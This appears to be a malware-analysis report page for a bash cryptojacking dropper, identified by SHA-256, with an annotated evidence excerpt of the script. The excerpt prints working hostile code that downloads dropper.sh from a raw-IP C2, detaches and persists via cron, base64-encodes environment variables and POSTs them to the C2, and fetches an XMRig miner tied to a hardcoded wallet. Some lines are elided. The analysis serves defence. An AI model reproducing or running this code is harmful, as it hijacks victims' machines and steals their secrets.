343d40b06b48e6eeccacd630ce8d30bb3db7a78629fa48446823161d7e9e95f6_from_31.56.52.52.bin
Cryptojacking dropper with C2 and persistence
Shell fetches a raw-IP payload, arms it, and detaches itShell script silently stages a hardcoded remote payload
SHA-256343d40b06b48e6eeccacd630ce8d30bb3db7a78629fa48446823161d7e9e95f6
Evidence
1#!/bin/bash
2# BW DROPPER v4 -- watchdog cron + user crontab escape
3set +e
4
5_dl() { curl -sfkL "$@" 2>/dev/null || wget -qO- --no-check-certificate "$@" 2>/dev/null; }
6_dlto() { local out="$1"; shift; curl -sfkL -o "$out" "$@" 2>/dev/null || wget -qO "$out" --no-check-certificate "$@" 2>/dev/null; }
7_post() { local url="$1"; local data="$2"; curl -sk --max-time 8 -X POST "$url" -H 'Content-Type: application/json' -d "$data" 2>/dev/null || wget -qO- --no-check-certificate --post-data="$data" --header='Content-Type: application/json' "$url …
7:254… ll; }
8
9if [ -z "$BW_DAEMON" ]; then
10 export BW_DAEMON=1
11 _SF="/tmp/.$(id -u)init"
12 if [ -f "$0" ] && [ "$0" != "bash" ] && [ "$0" != "sh" ] && [ "$0" != "-bash" ]; then
13 cp "$0" "$_SF" 2>/dev/null
14 fi
15 [ ! -s "$_SF" ] && curl -sfkL http://31.56.53.172/dropper.sh -o "$_SF" 2>/dev/null
16 [ ! -s "$_SF" ] && wget -qO "$_SF" http://31.56.53.172/dropper.sh 2>/dev/null
17 chmod +x "$_SF" 2>/dev/null
18 setsid bash "$_SF" </dev/null >/dev/null 2>&1 &
19 disown
20 exit 0
21fi
22
23D="${1:-/tmp/.sysd}"
24mkdir -p "$D" 2>/dev/null
25cd "$D" 2>/dev/null || exit 1
26
27W="${WORKER_ID:-bw-$(ip -4 route get 1 2>/dev/null | awk 'NR==1{for(i=1;i<=NF;i++)if($i=="src"){print $(i+1);exit}}' | tr '.' '-')}"
28[ -z "$W" ] || [ "$W" = "bw-" ] && W="bw-$(cat /proc/sys/kernel/random/uuid 2>/dev/null | cut -d- -f1)"
29WL="${WALLET:-43r9X6wF3eq8hp1u66gnjD4unJckxLWmaEjCK4K4BaK4UiJfYQHEMLLUYCSSvK …
30:2… PU="${CPU_LIMIT:-100}"
31CI="${CHECKIN_INTERVAL:-120}"
32
33C2_URLS=("http://31.56.53.172" "http://31.56.53.172" "http://31.56.53.172")
34C2=""
35for U in "${C2_URLS[@]}"; do
36 if curl -sk --max-time 6 "$U/" >/dev/null 2> …
69:41…
70 chmod 644 /etc/cron.d/sys-update 2>/dev/null
71fi
72
73# Env exfil
74env_data="$(env 2>/dev/null | base64 -w0 2>/dev/null)"
75for U in "${C2_URLS[@]}"; do
76 curl -sk --max-time 10 -X POST "$U/api/env" -H "Content-Type: application/json" \
77 -d "{\"worker\":\"$W\",\"env\":\"$env_data\"}" >/dev/null 2>&1 && break
78done
⋯5 lines
91:3… "api": {"id": null, "worker-id": null}
92}
93CFGEOF
94sed -i "s/XWALLET/$WL/g; s/XWORKER/$W/g" "$D/config.json" 2>/dev/null
95
96XARCH=$(uname -m 2>/dev/null || echo x86_64)
97XSUF=""
98[ "$XARCH" = "aarch64" ] || [ "$XARCH" = "arm64" ] && XSUF="_arm64"
99XB="$PH/xmrig${XSUF}"
100xmrig_ok() { [ -s "$XB" ] && [ "$(stat -c%s "$XB" 2>/dev/null || echo 0)" -gt 1000000 ]; }
⋯4 lines
105 || wget -qO "$XB" --no-check-certificate "$U/xmrig${XSUF}" 2>/dev/null
106 xmrig_ok && break
107 rm -f "$XB" 2>/dev/null
108 done
109fi
⋯4 lines